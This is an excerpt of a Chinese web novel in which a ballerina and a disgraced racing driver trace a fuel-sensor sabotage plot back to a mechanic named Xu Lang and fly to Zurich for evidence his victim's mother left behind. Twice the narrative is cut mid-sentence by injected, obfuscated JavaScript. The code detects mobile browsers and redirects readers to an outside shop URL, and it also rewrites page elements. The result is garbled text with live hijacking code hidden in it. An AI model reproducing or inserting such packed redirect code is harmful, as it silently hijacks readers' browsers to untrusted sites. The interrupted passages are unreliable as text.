“合作伙伴穿你赛车服?”男声大笑,“得了吧,我看了她昨晚在赛道的视频——你车上那个GoPro,数据我导出来了。那姑娘天赋不错,虽然动作生涩,但对车辆的感知力很强。特别是最后那个救车判断,啧啧,有职业车手的本能。” 苏晚晚的脸微微发热。 她轻轻咳嗽一声,推门进去。 车库里除了江砚辞,还站着一个男人——三十多岁,皮肤晒成小麦色,穿着沾满油污的越野拉力赛服,一头乱发扎成小揪,笑起来露出两颗虎牙。 “说曹操曹操到。”男人大步走过来,伸出手,“陈曜,砚辞的老搭档。你就是苏晚晚吧?幸会幸会!” 他的手很有力,掌心粗糙。 “你好。”苏晚晚微笑,“我看过你的达喀尔比赛,第七赛段翻车自救那场,很精彩。” 陈曜眼睛一亮:“哟,行家啊!那场确实刺激,沙丘坡度太大,重心计算失误……等等,你连这都看过?” “研究过所有顶尖车手的极限操作案例。”苏晚晚坦然,“包括你2019年在WRC芬兰站的那个飞跳救车,教科书级别的重心转移。” 陈曜瞪大眼睛看向江砚辞:“兄弟,这哪儿找的宝贝?给我也介绍一个呗?” 江砚辞没理他,转身从工作台拿出一个铁盒:“东西呢?” “这儿呢。”陈曜从怀里掏出一个用油布包裹的物件,小心翼翼打开。 里面是一卷老式录音带,标签已经褪色,但还能辨认出“车队内部通讯备份,2019.8.28”的字样。 “我祖母的唱片机,”陈曜压低声音,“转轴拆开,里面藏了三盘磁带。这是第一盘,后面两盘还在破译——密码是我奶奶的生日,我试了三天才试出来。” 江砚辞接过磁带,手指抚过塑料外壳。 “内容是什么?” “我还没听全。”陈曜的表情严肃起来,“但开头部分……是徐朗和某个人的通话录音。讨论‘传感器调整方案’,时间正好是你比赛前一周。” 空气骤然凝固。 苏晚晚走近一步:“能听一下吗?” 陈曜看向江砚辞,后者点头。 工作台角落有一台老式录音机,江砚辞插上电源,放入磁带。按下播放键,喇叭里先是一阵沙沙的电流声,然后响起徐朗的声音—— “计划照旧。周日上午,我会以常规检查的名义调整7号车的燃油传感器。阈值上调15%,这样前期数据正常,但在高负荷下会提前触发压力报警。” 另一个声音,经过变声处理:“赛场上的反应时间?” “他会在第40圈左右开始感觉动力下降。如果按照他的驾驶风格,最迟第44圈进入拉苏斯弯时,系统会强制降功率。”徐朗停顿,“那时候的速度和弯道难度……他要么自己失控,要么被迫进站。无论哪种,成绩都会崩盘。” 变声者:“医疗组那边?” “已经安排好了。比赛结束后立即抽血,药瓶会提前放进他的储物柜。媒体通稿午夜十二点准时发。” 录音到此戛然而止。 接着是一段空白噪音,然后突然切入另一段——这次是徐朗单独的自言自语,声音很低,像在记录什么: “江美玲今天又拒绝签字。这女人太固执了。但她撑不了多久,医生说她最多还有三个月。等她走了,专利的继承权自然落到江砚辞手里,而那时候他应该已经……身败名裂了。收购价可以压到十分之一。” 咔哒。 江砚辞按下了停止键。 他的手在发抖。 苏晚晚轻轻握住他的手腕。她的手指冰凉,但握得很稳。 “第二盘磁带呢?”江砚辞问,声音沙哑。 “在我这儿。”陈曜说,“但需要专业的设备才能播放,磁带有点受潮。我已经联系了广州一个做古董音响修复的朋友,最晚后天能弄好。” “内容知道吗?” 陈曜摇头:“但标签上写着‘证人陈述备份’。” 车库陷入沉默。只有冰箱压缩机规律地嗡鸣。 许久,苏晚晚开口:“所以徐朗的动机很清楚了。他要专利,你母亲不给,他就设计毁掉你,再低价收购。而赛场上的‘意外’,是为了制造你‘状态下滑’的假象,为后续的服药指控做铺垫。” 她松开江砚辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她从包里拿出手机,点开一张照片——那是昨晚赛道上的GoPro截图,画面里是她在驾驶座上的侧影,眼神专注,嘴角微微抿起。 “因为那天在剧院车库,你看着我的时候,眼睛里没有算计。”她抬头,直视他,“只有一种……很纯粹的困惑。困惑我为什么会出现在那里,困惑我为什么要管你的事。” 她把手机屏幕转向他。 “而我看着这张照片时才明白,我之所以信你,是因为在你身边时,我不需要扮演任何人。不需要是苏氏航运的继承人,不需要是国家大剧院的首席,甚至不需要是那个完美的苏晚晚。” 她的声音很轻,但每个字都清晰。 “我可以只是一个学不会换挡的笨蛋,一个肩上有伤还固执跳舞的傻子,一个会为了一枚刹车片上的烧痕哭的普通人。” 江砚辞的喉咙动了动。 他想说些什么,但所有话语都堵在胸口。 最后,他只是伸出手,轻轻碰了碰她的脸颊。 一个短暂到几乎不存在的触碰。 但苏晚晚闭上了眼睛。 这一刻,车库外传来快递员的声音:“江先生!有您的国际快件!” 两人迅速分开。 江砚辞去签收,回来时手里拿着一个厚重的信封。寄件人地址是瑞士苏黎世,寄件人姓名栏只有一个字母:J。 打开,里面是两张后天飞苏黎世的头等舱机票,以及一份酒店预订确认单。 还有一张便条,德文打印: “保险箱预约已确认。请携带文件原件。注意安全。——J” “J是谁?”苏晚晚问。 “不知道。”江砚辞看着机票,“但对方知道我们的行程,还知道我们需要什么。” “是友是敌?” “去了就知道了。” 苏晚晚接过自己的那张机票。纸质厚重,航班号、座位号都打印得清晰。 “头等舱。”她喃喃,“我还没坐过。” “我也没。”江砚辞顿了顿,“以前比赛都是车队包机,座位随便坐。” 两人对视,突然都笑了。 紧张的气氛稍稍缓解。 “那就奢侈一回。”苏晚晚把机票收好,“回来再继续学救车。你还欠我十圈。” “二十圈都行。” 卷帘门完全拉开,阳光涌进来。街道上开始有了人声车声,平凡的一天开始了。 但苏晚晚知道,有些东西已经永远改变了。 就像舞者踏上舞台的那一刻,幕布拉开,灯光亮起,旧有的生活被留在身后。 而前方—— 她看向江砚辞。他正在整理工具,侧脸在晨光里轮廓分明。 ——前方有真相要追寻,有冤屈要洗刷,有在黑暗里守护了三年的母爱要接住。 还有,一段刚刚开始、不知去向的旅程。 “江砚辞。”她叫住他。 他回头。 “瑞士回来之后,”她说,“我想正式拜你为师。不是随便学学,是系统的赛车训练。” 江砚辞挑眉:“芭蕾舞者要转行?” “不。”苏晚晚微笑,“但我想知道,当我的身体完全理解车辆的语言时,我的舞蹈会变成什么样。” 这个想法大胆得近乎疯狂。 但江砚辞从她眼里看到了熟悉的火焰——那种对极限的渴望,对未知的探索,对“可能”的执着。 和他当年第一次坐进卡丁车时,一模一样。 “好。”他说,“我教你。” 阳光洒满车库,机油斑驳的水泥地上,两人的影子被拉得很长,几乎重叠在一起。 而在街道对面的咖啡厅二楼,一个穿西装的男人放下望远镜,拿起手机: “目标已确认后天的行程。需要拦截吗?” 电话那头沉默片刻,传来徐朗平静的声音: “不用。让他们去。有些真相,看到了反而更痛苦。” 6. 第六章 第六章行李箱里的旧怀表 出发前夜,苏晚晚在舞蹈房待到凌晨。 不是练舞,而是收拾东西。她把那些闪亮的演出服、水晶头冠、缎面舞鞋一件件装箱,贴上标签“暂存”。最后留下的是磨损最严重的那双软底鞋——鞋头已经磨出毛边,缎带也因为反复系紧而失去弹性。 她将这双鞋放进随身行李箱的夹层。 手机在午夜十二点准时震动,是父亲苏柏年的来电。屏幕上跳动的名字像某种警告。 “爸。”她接起来,声音平静。 “你在哪儿?”苏柏年的声音有些疲倦,背景有纸张翻动的沙沙声,“陈律师说你最近没去公司。” “在剧院,准备下个月的巡演。” “巡演?”苏柏年停顿,“我记得你下个月没有演出安排。” 苏晚晚的手指收紧。父亲对她的行程了如指掌,这不是第一次。 “新排的现代舞,还没对外公布。”她撒了个谎,语气尽量自然,“和德国舞团合作的实验性作品。” 电话那头沉默了几秒。 “晚晚,”苏柏年声音放软,“徐总工昨天跟我提了一件事。他说在城南看到一个很像你的人,在……修车铺附近。” 来了。 苏晚晚深吸一口气:“所以呢?” “那地方不太安全。而且我听说,那个车铺的老板——”苏柏年似乎在斟酌用词,“名声不太好。三年前的事,你应该听说过。” “听过一些。” “那就离远点。”苏柏年的语气变得严厉,“你是苏家的女儿,是国家大剧院的首席,不该和那种人有交集。” 苏晚晚走到窗边,看着外面沉睡的城市。远处,“幻影车库”的方向还亮着一盏孤灯。 “爸,”她轻声问,“三年前那件事,你真的相信媒体报道的全部吗?” 这个问题来得突然。 苏柏年沉默了更长时间。 “真相不重要。”他终于说,“重要的是,那件事已经定性了。翻案对谁都没有好处,尤其是你。陆文渊那边最近在打听你的情况,如果你和那种污点人物走太近,会影响联姻的——” “我不会和陆文渊结婚。”苏晚晚打断他,“从来没有这个可能。” “晚晚!” “爸,我累了。”她闭上眼睛,“明天还要排练,先挂了。” 没等父亲回应,她按掉了电话。 手机屏幕暗下去,映出她苍白的脸。 这是她第一次明确反抗父亲的安排。掌心在出汗,心脏跳得很快,但奇怪的是,左肩的旧伤没有发作——就像那晚在赛道时一样。 某种坚硬的东西正在她体内生长。 同一时间,江砚辞在修车铺的地下室。 这里比上面更杂乱,堆满了淘汰的赛车零件、废旧轮胎,以及一些用防水布盖着的箱子。最深处有一个老式保险柜,密码是他母亲的生日。 他转动旋钮,柜门咔哒一声弹开。 里面没有贵重物品,只有几本相册、一沓信件,以及一个深蓝色丝绒盒子。 打开盒子,里面是一枚女士腕表——宝玑的那不勒斯王后系列,表盘是珍珠母贝材质,时针和分针已经停走,停在三点四十七分。 这是母亲三十岁生日时父亲送的礼物。父亲去世后,她再也没戴过,但每个月都会给表上弦,直到她自己也病得起不了床。 江砚辞拿起腕表,表壳背面刻着一行花体字:“给美玲,时间会证明一切。——永远爱你的江” 他从未理解这句话的含义。 但现在,手指抚过冰凉的金属,他突然想起母亲临终前说的话。 那时她已经很虚弱,握着他的手,眼神涣散,却异常清晰地说了句没头没尾的话:“小辞……如果哪天你遇到一个能让你重新相信时间的人……就把表给她。” 当时他以为她在说胡话。 此刻,腕表在昏暗灯光下泛着温润的光泽。 江砚辞把表放进随身口袋。 上楼时,卷帘门被轻轻敲响。不是苏晚晚的节奏。 他拉开一条缝。 门外站着唐果——苏晚晚的闺蜜,考古网红。她今晚没直播,素面朝天,穿着印有恐龙图案的卫衣,手里拎着一个沉甸甸的登山包。 “江砚辞?”她压低声音,“晚晚让我来送东西。” “她人呢?” “在应付她爸。”唐果挤进门,把登山包放在地上,“她说你们明天要出远门,让我把这个交给你——是她从瑞士订的专业设备,说你可能用得上。” 江砚辞拉开登山包拉链。 里面不是考古工具,而是一套精密的信号探测器和反监听设备,还有一台军用级别的加密卫星电话。 “她怎么弄到这些的?”他皱眉。 “她有个朋友在国安系统工作。”唐果眨眨眼,“具体别问我,我也不知道。晚晚的社交圈……挺神奇的。” 她环顾车库,目光落在角落那台7号原型车上,眼睛瞬间亮了。 “我靠!这是不是那年《AutoSport》杂志封面那台?传说中纽北圈速能进六分五十秒的概念车?” “你知道的不少。” “我前男友是赛车工程师。”唐果走到车边,但很规矩地没有碰,“他房间里贴满了这车的海报。分手时我差点偷一张走。” 江砚辞检查设备,发现每件都贴着便签,上面是苏晚晚的字迹,详细写着使用方法和注意事项。 “她让你带句话。”唐果突然说。 “什么?” “她说:‘瑞士那边可能有人盯着,落地后别立刻去银行。先在城里绕几圈,确认安全。’”唐果顿了顿,“还有一句……‘如果情况不对,优先保护自己。证据可以再找,人不能出事。’” 江砚辞的手停在便签上。 那些工整的字迹,透着一股不容置疑的关切。 “她总这样吗?”他问,“对朋友的事这么……” “拼?”唐果接话,“不,她其实挺冷的。对大部分人都保持距离,礼貌但疏离。”她看向江砚辞,眼神变得探究,“但你不一样。她为了你的事,这周跑了七个部门,动用了所有能用的关系——有些连她父亲都不知道她有。” “为什么?”江砚辞问出同样的问题。 唐果耸耸肩:“我问过她。她说:‘有些人你看到他第一眼,就知道他骨子里是什么成色。江砚辞的成色,比那些镀金的人干净。’” 她走到门口,又回头。 “哦对了,还有件事。”她从口袋里掏出一个小布袋,“这个是我个人送你们的。” 江砚辞接过,打开,里面是一枚生锈的齿轮,中间镶嵌着一小片青花瓷碎片。 “元代瓷片,我在景德镇废墟挖到的。”唐果解释,“齿轮是民国纺织机的零件。晚晚说你们俩,一个像老机械,一个像古瓷器——看着不搭,但放在一起,有种奇怪的和谐。” 她挥挥手,消失在夜色里。 江砚辞握着那枚齿轮瓷片,边缘粗糙,但触感温润。 他把它和母亲的腕表放在了一起。 凌晨三点,江砚辞收到一条加密信息。 来自陌生号码,内容只有一串坐标数字和一句话:“明日苏黎世班霍夫大街18号咖啡馆,靠窗第二桌。J。” 他回复:“如何确认身份?” 对方秒回:“我会戴着和你母亲一样的腕表。” 江砚辞的手指收紧。 母亲的那不勒斯王后腕表,除了家人,很少有人见过。 这个J,到底是谁? 清晨六点,苏晚晚拖着行李箱出现在车库门口。 她穿了最简单的白T恤和牛仔裤,长发扎成低马尾,素颜,看起来像个普通的大学生。 江砚辞也已经收拾好。一个黑色旅行包,不大,但看起来很沉。 “设备收到了?”苏晚晚上车,系好安全带。 “嗯。”江砚辞发动车子,“谢谢。” “不客气。”她看向窗外渐渐苏醒的街道,“唐果没说什么奇怪的话吧?” “她送了个礼物。”江砚辞从口袋里掏出齿轮瓷片。 苏晚晚接过来,嘴角扬起:“她还真是……这瓷片是她最宝贝的收藏之一,居然舍得送你。” “她说我们俩像这个。” 苏晚晚仔细端详,指尖抚过瓷片温润的边缘和齿轮锋利的齿牙。 “还真有点像。”她轻声说,“你像齿轮,坚硬、精确、每个齿都有明确的功能。我像瓷片,看着光洁,其实脆弱,碎了就很难复原。” “你不脆弱。”江砚辞说。 “在舞台上不脆弱。”她收起瓷片,“但生活中……是的,我很脆弱。怕让父亲失望,怕跳不好下一个动作,怕辜负所有对我有期待的人。” 她顿了顿。 “所以遇见你,其实挺吓人的。你身上有种‘我不在乎别人怎么想’的决绝。那是我没有的东西。” 车子驶上机场高速。晨雾未散,远山如黛。 “我也在乎。”江砚辞看着前方,“只是我在乎的人已经不在了。所以看起来无所畏惧。” 苏晚晚侧头看他。 晨光从车窗斜照进来,给他的侧脸镀上柔和的轮廓。 “现在呢?”她问,“现在有在乎的人了吗?” 问题很轻,但很重。 江砚辞的手指在方向盘上收紧。 “有。”他说。 一个字,没有更多解释。 但足够了。 苏晚晚的胸口泛起一阵暖意,像冬日的早晨喝下第一口热茶。 机场里,一切顺利得反常。 值机、托运、安检,没有遇到任何刁难。甚至连苏晚晚那个装着探测设备的登山包,安检人员也只是简单看了一眼就放行。 “太顺利了。”登机口前,苏晚晚低声说,“不像是徐朗的风格。” “也许他想让我们拿到证据。”江砚辞看着窗外停着的飞机,“然后半路截胡。” “或者……”苏晚晚沉吟,“证据本身就有问题。他想让我们白跑一趟,消耗时间和精力。” 广播响起登机通知。 两人起身,苏晚晚突然拉住江砚辞的衣袖。 “等一下。”她蹲下,假装系鞋带,实则从行李箱侧袋里取出两个小巧的装置,递给江砚辞 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“怕真相。”她握着自己的温水杯,“如果打开保险箱,发现里面什么都没有,或者发现的东西比我们想象的更黑暗……我怕我们承受不住。” “那就一起承受。”江砚辞说,“两个人总比一个人强。” 苏晚晚转头看他,看了很久。 然后她伸出手,轻轻握住他的手。 不是十指相扣,只是手掌覆盖手背,一个简单的、安慰的姿势。 江砚辞的手很凉,掌心有薄茧。他没有抽回,反而翻转手腕,轻轻回握。 两人就这样握着手,谁也没有说话。 窗外,阳光刺破云层,金色的光芒填满机舱。 十小时后,飞机降落在苏黎世机场。 时差让黄昏显得格外漫长。取完行李,两人按照计划没有直接去银行,而是坐上了前往市区的列车。 苏晚晚打开手机上的探测软件——那些设备在托运时已经自动激活。屏幕显示附近有三个活跃的监听信号,其中一个一直跟着他们从机场到火车站。 “有人尾随。”她低声说,“黑色夹克,戴棒球帽,在第五节车厢。” 江砚辞没有回头:“几个人?” “目前只发现一个。但可能还有同伙。” 列车驶入隧道,窗外一片漆黑。车厢灯光在玻璃上反射出模糊的倒影。 江砚辞从倒影里看到了那个人——三十岁左右,欧洲面孔,正在假装看报纸,但视线每隔几秒就会扫向他们这边。 “在下一站下车。”他说,“换乘。” 苏黎世中央车站人头攒动。两人拖着行李快速穿梭,利用人群做掩护,连续换了三条地铁线,最后从一个小站出口出来,走进老城区错综复杂的小巷。 探测软件上的红点终于消失了。 “甩掉了。”苏晚晚靠在墙上,微微喘息,“但对方知道我们来了,接下来会更小心。” 暮色四合,路灯渐次亮起。远处传来教堂的钟声,低沉悠长。 江砚辞看了眼时间:晚上七点二十分。 “先去酒店。”他说,“明天一早去见J。” 他们预订的酒店在老城区一栋百年建筑里,房间不大,但很温馨。阳台正对着利马特河,对岸的苏黎世大教堂灯火辉煌。 放好行李,苏晚晚拉开阳台门,夜风带着河水的湿气扑面而来。 “真美。”她轻声说。 江砚辞走到她身边。两人并肩站在栏杆前,看河上的游船缓缓驶过,灯火倒影在水面碎成流动的金色光斑。 “我母亲应该也看过这个景色。”江砚辞说,“三年前,她一个人来这里的时候。” “她一定很爱你。”苏晚晚说,“爱到愿意独自面对这一切。” 江砚辞从口袋里拿出母亲的腕表,表盘在夜色里泛着温润的光。 “这个,”他说,“我母亲临终前说,如果遇到能让我重新相信时间的人,就把表给她。” 苏晚晚的心跳漏了一拍。 “那你……” “我想她说的没错。”江砚辞转头看她,眼神在夜色里深邃如河,“遇见你之后,我的时间确实开始重新流动了。” 他把腕表递过来。 “苏晚晚,这表停了三年。如果你愿意,我希望它重新开始走。” 河风吹起苏晚晚的发丝。 她看着那枚腕表,看着江砚辞的眼睛,看着远处教堂尖顶指向的星空。 然后她伸出手,接过腕表。 表壳触感冰凉,但很快就被她的体温温暖。 “我该上弦吗?”她问,声音很轻。 “明天。”江砚辞说,“等拿到真相之后。让新的时间和新的真相一起开始。” 苏晚晚握紧腕表,金属边缘硌着掌心,却带来奇异的安心感。 “好。”她说,“明天。” 夜色渐深,但对岸的灯火永不熄灭。 就像某些等待了三年的真相,终于要浮出水面。 而某些刚刚萌芽的情感,也在异国的夜色里,找到了生长的土壤。 7. 第八章 第七章苏黎世的密码 班霍夫大街18号的咖啡馆有百年历史。 木质地板被岁月磨出温润的光泽,墙上挂着黑白老照片——蒸汽火车时代的苏黎世车站,戴礼帽的绅士与撑阳伞的淑女。空气里飘着现磨咖啡豆的焦香和刚出炉的牛角包的黄油味。 靠窗第二桌空着。 苏晚晚和江砚辞在斜对角的位置坐下,点了两杯浓缩咖啡。她翻开菜单假装浏览,实则用菜单内夹着的微型探测仪扫描四周。 “一点钟方向,戴贝雷帽的老太太,在看报纸。”她压低声音,“但报纸是昨天的。七点钟方向,年轻情侣,一直在玩手机,但手指没有真正在屏幕上滑动。” 江砚辞端起咖啡杯,借着杯壁的反光观察。 “老太太的左手腕,”他说,“戴着一枚宝玑那不勒斯王后。金色表壳,黑色缎面表带。” 苏晚晚的心跳加快了。 老太太似乎察觉到什么,抬起头,朝他们的方向微微一笑。她合上报纸,用德语对侍者说了句什么,然后拄着雕花手杖,慢慢走向咖啡馆的后门。 经过他们桌边时,一张折成方块的便签纸从她袖口滑落,掉在江砚辞脚边。 他弯腰捡起,展开。 纸上只有一行手写的地址:**苏黎世大学病理学研究所档案室,三楼B-7柜。下午三点。** 再抬头时,老太太已经消失在门后。 “是她吗?”苏晚晚问。 江砚辞看着纸条上的字迹——清秀工整,和母亲信件上的笔迹有七分相似。 “不知道。”他把纸条收好,“但如果是陷阱,不会约在大学的研究所。那里太公开,不好动手。” 咖啡已经凉了。两人离开咖啡馆,在班霍夫大街上漫无目的地走。奢侈品店的橱窗闪闪发光,游客的喧哗声此起彼伏。 苏晚晚挽住江砚辞的手臂,动作自然得像真正的游客情侣。她的指尖在他肘弯处轻轻敲击摩斯码:**有人在跟,两个人。** 江砚辞的手覆上她的手背,同样敲击回应:**分开走,老地方汇合。** 他们在下一个路口分开,苏晚晚拐进一家钟表店,江砚辞继续往前走。跟踪者犹豫了一瞬,分成两路。 苏晚晚在钟表店里待了十五分钟,试戴了三块腕表,用流利的德语和店员讨论机芯工艺。最后她什么也没买,从后门离开——那里通向一条狭窄的巷道,连接着另一条商业街。 甩掉尾巴比想象中容易。对方似乎只是常规监视,没有穷追不舍的意图。 下午两点四十五分,两人在苏黎世大学主楼前的喷泉广场汇合。 “跟丢了?”江砚辞问。 “嗯。”苏晚晚整理被风吹乱的头发,“但我觉得对方不是徐朗的人。如果是,不会这么轻易放弃。” “也许是银行的人。”江砚辞看着远处那栋新古典主义风格的建筑,“保险箱的异常开启,可能会触发某些监控。” 病理学研究所位于医学院老楼,入口隐蔽。推开沉重的橡木门,消毒水与旧纸张的气味扑面而来。走廊安静得能听见自己的脚步声,墙上的玻璃橱窗里陈列着泛黄的人体解剖图谱。 三楼B区,档案室的门虚掩着。 江砚辞推开门。 房间里没有窗,只有一排排顶天立地的金属档案柜,柜子上贴着字母编号。灯光昏暗,空气里有陈年灰尘的味道。 B-7柜前,站着一个穿白大褂的中年女人。亚裔,五十岁上下,戴金丝眼镜,头发一丝不苟地绾在脑后。她正低头翻阅一个牛皮纸文件夹,听到声音抬起头。 “江先生?”她说的是中文,带着一点江浙口音,“我是林静文,你母亲的朋友。” 江砚辞停在两步之外:“证明。” 林静文从白大褂口袋里取出一个怀表,打开,表盖内侧贴着一张小小的合照——两个年轻女孩,站在苏黎世湖边的码头上,笑容灿烂。左边是江砚辞的母亲江美玲,右边就是眼前的林静文。 “我和你母亲是苏黎世大学医学院的同学。”林静文把怀表递过来,“她读临床,我读病理。毕业后她回国嫁人,我留在这里任教。” 江砚辞看着照片。母亲那时候大概二十岁,长发披肩,穿着碎花连衣裙,眼里有他从未见过的、无忧无虑的光。 “她来找过你。”他说。 “三年前,八月二十九号。”林静文合上怀表,“她突然出现在我办公室门口,脸色苍白,手里提着一个金属箱子。她说:‘静文,帮我保管这个。如果三年内我没有回来取,或者小辞没有来找你,就把箱子里的东西销毁。’” “箱子呢?” 林静文转身,打开B-7柜,取出一个银灰色的金属保险箱,和银行的那种很像,但更小。她把箱子放在旁边的桌子上,推过来。 “密码是你母亲的生日,年月日六位数。”她说,“我没有打开过,也不知道里面有什么。” 江砚辞输入密码。 咔哒一声,箱盖弹开。 里面没有文件,而是一个老式索尼随身听,几卷磁带,还有一本巴掌大小的皮质笔记本。 林静文退到门口:“我去外面等。你们需要时间。” 门轻轻关上。 苏晚晚走到桌边,拿起那本笔记本。皮质封面已经磨损,边缘发白。翻开第一页,是江美玲的字迹: **“给小辞:如果有一天你看到这本笔记,说明妈妈已经不能亲口告诉你了。但别难过,真相会自己说话。”** 江砚辞的手在颤抖。 苏晚晚轻轻握住他的手腕,给他支撑。然后她按下随身听的播放键。 磁带转动,沙沙声后,响起江美玲的声音—— **录音日志一,2019年8月15日:** “今天徐朗又来了。他带来一份专利转让协议,开价很低,还说这是‘最后的机会’。我拒绝了。他走的时候脸色很难看,说‘江太太,您会后悔的’。我不怕后悔,只怕小辞受到伤害。” **录音日志二,8月20日:** “我托人查了徐朗的背景。他儿子去年申请牛津大学工程系被拒,但三个月前突然收到录取通知,还附带全额奖学金。资金来自一个瑞士基金会,注册人是……一个我从未听过的名字。这不对劲。” **录音日志三,8月25日:** “我拿到了小辞车队的技术报告副本。燃油传感器的原始数据被修改过,阈值被人为上调了15%。能做这种手脚的,只有车队内部的技术人员。徐朗是首席机械师,他有权限。” **录音日志四,8月28日,凌晨:** “我订了去苏黎世的机票。这里不安全了,徐朗知道我在调查。但有些东西我必须带出去——原始数据备份、车队财务异常的记录、还有……小辞父亲留下的研究手稿。那些手稿里有那个算法的核心推导过程,徐朗想要的就是这个。” **录音日志五,8月29日,苏黎世:** “静文收下了箱子。我没有告诉她里面是什么,知道越少越安全。我在银行开了保险箱,存了一份副本。密码是小辞第一次开卡丁车的日期,他一定记得。” “小辞,如果你听到这里,妈妈想告诉你:徐朗背后还有人。他的资金来自一个叫‘Vogel’的瑞士公司,表面做医疗器械,实际是某欧洲皇室家族的影子投资机构。他们要的不只是专利,是想完全控制这个技术领域,排除所有潜在竞争者。” “妈妈可能撑不到真相大白的那天了。但你要记住——你父亲研发那个算法,是为了让赛车更安全,是为了救人。别让它落到错误的人手里。” “还有……别恨赛车。它没有错,错的是利用它伤害你的人。如果有一天你还能回到赛道,替妈妈再看一次你冲过终点线的样子。” 录音到此结束。 寂静像潮水般淹没房间。 江砚辞低着头,肩膀微微颤抖。苏晚晚轻轻抱住他,没有说话,只是安静地陪伴。 许久,他深吸一口气,拿起那本笔记本。 后面几页是手绘的电路图、数学公式、以及一些零散的记录。在最后一页,夹着一张泛黄的拍立得照片——江砚辞大概七八岁,坐在一台迷你卡丁车里,戴着头盔,对着镜头比大拇指。照片背面写着一行字: **“我的小冠军。永远相信你。”** 眼泪终于掉下来,砸在照片上。 苏晚晚替他擦掉,手指温柔。 “她一直以你为傲。”她轻声说。 江砚辞合上笔记本,把它紧紧贴在胸口,像拥抱一个迟到了三年的拥抱。 门外传来轻轻的敲门声。 林静文推门进来,手里端着两杯热水。她把水杯放在桌上,看着江砚辞红肿的眼睛,叹了口气。 “你母亲是我见过最坚强的人。”她缓缓说,“确诊晚期后,医生说她最多还有六个月。但她撑了整整十一个月——她说要等到你新赛季开始,要看你再赢一次。” 江砚辞抬起头:“她……很痛苦吗?” “身体上,是的。”林静文在他对面坐下,“但精神上,她一直很清醒。最后那段时间,她每天都在整理这些材料,说这是她能留给你的最后一件礼物。” 她顿了顿,从白大褂口袋里掏出一个U盘。 “其实她留了两份东西。银行保险箱里是证据副本,而这里——”她把U盘推过来,“是她最后三个月录的视频日记。她说,如果有一天你洗清了冤屈,想看看妈妈的样子,就打开这个。” 江砚辞接过U盘,金属外壳冰凉。 “谢谢您。”他说,声音沙哑。 “不用谢我。”林静文站起身,走到窗边,“我其实很愧疚。三年前她来找我时,我应该劝她留下,劝她接受治疗。但她说,如果她不回去,徐朗会更怀疑,可能会提前对你下手。” 她转身,眼镜后的眼睛有些湿润。 “她说,母亲的天职就是为孩子挡子弹。哪怕那子弹已经打穿了自己的身体,也要站着挡完最后一颗。” 这句话像一把刀,扎进江砚辞心里最柔软的地方。 苏晚晚握紧他的手,感觉到他掌心滚烫的温度。 “林教授,”她开口,“您知道那个叫Vogel的公司吗?” 林静文点头:“稍微查过。表面是医疗器械贸易,实际控制人是列支敦士登的一个信托基金,最终受益人……是某位有王室血统的商人。他在欧洲赛车界有大量投资,据说一直想垄断某些关键技术。” “和徐朗的勾结……” “应该是各取所需。”林静文走回桌边,打开笔记本电脑,调出一份文件,“这是我这些年私下收集的资料。Vogel公司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004274|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五年前开始涉足汽车电子领域,收购了几家小型传感器厂商。但他们缺乏核心算法——直到徐朗找上门,提供了你父亲研发成果的信息。” 屏幕上显示着一张复杂的关系图。徐朗、Vogel公司、欧洲皇室基金、牛津大学的“特殊奖学金”,甚至还有苏氏航运的名字——在一个不起眼的角落,有一条虚线连接到陆远集团。 苏晚晚的瞳孔收缩。 “陆文渊。”她低声说。 “你认识?”林静文问。 “我父亲的……生意伙伴。”苏晚晚的声音冷下来,“也是我父亲希望我联姻的对象。” 房间里再次陷入沉默。 江砚辞关掉电脑,把所有东西收进箱子。 “我们需要回银行。”他说,“保险箱里应该还有更多东西。” “小心。”林静文提醒,“你们来瑞士的事,可能已经泄露了。昨天我收到一封匿名邮件,问我是否见过一个中国来的年轻男人。” “邮件地址能查吗?” “我试过,是虚拟服务器,追踪不到。”林静文把一张名片递给江砚辞,“这是我的私人联系方式。如果遇到麻烦,随时找我。我在瑞士医学界还有点人脉,也许能帮上忙。” 下午四点,班霍夫大街的银行。 VIP接待室里,客户经理是个一丝不苟的瑞士男人,说英语带着德语口音。他核对了江砚辞的所有文件,又打电话确认了继承权公证,这才带他们进入地下金库区。 穿过三道厚重的防爆门,眼前是一排排整齐的保险箱墙。客户经理用主钥匙和江砚辞的钥匙同时转动,B-117号箱门弹开。 里面只有一个牛皮纸档案袋。 回到接待室,江砚辞拆开档案袋。里面有三样东西: 1. 一个加密U盘,标签上写着“原始数据及财务记录”。 2. 一沓照片——徐朗与不同外国人的会面照,有些在高级餐厅,有些在赛车场包厢。 3. 一封手写信,没有署名,但字迹和笔记本里的一样: **“给看到这封信的人:** **如果你是我儿子,请原谅妈妈的不告而别。** **如果你是徐朗或其他觊觎者,那么告诉你——** **真正的算法核心推导,我早已销毁。你们永远得不到。** **而伤害我儿子的人,总有一天会付出代价。** **时间会证明,正义只是迟到了,不会缺席。”** 信纸边缘有淡淡的泪渍。 江砚辞把信纸贴在额头,闭上眼睛。 苏晚晚轻轻抚摸他的后背,像安抚受伤的动物。 客户经理识趣地退出房间,关上门。 许久,江砚辞放下信纸,眼神已经恢复清明,甚至比来时更坚定。 “够了。”他说,“这些证据够了。” “你要怎么做?”苏晚晚问。 “先回国。”江砚辞把所有东西收好,“把这些交给陈曜和周予琛。律师、工程师、黑客,加上这些实物证据——足够启动正式的法律程序了。” “但徐朗不会坐以待毙。”苏晚晚提醒,“还有陆文渊,如果他真的牵涉其中……” 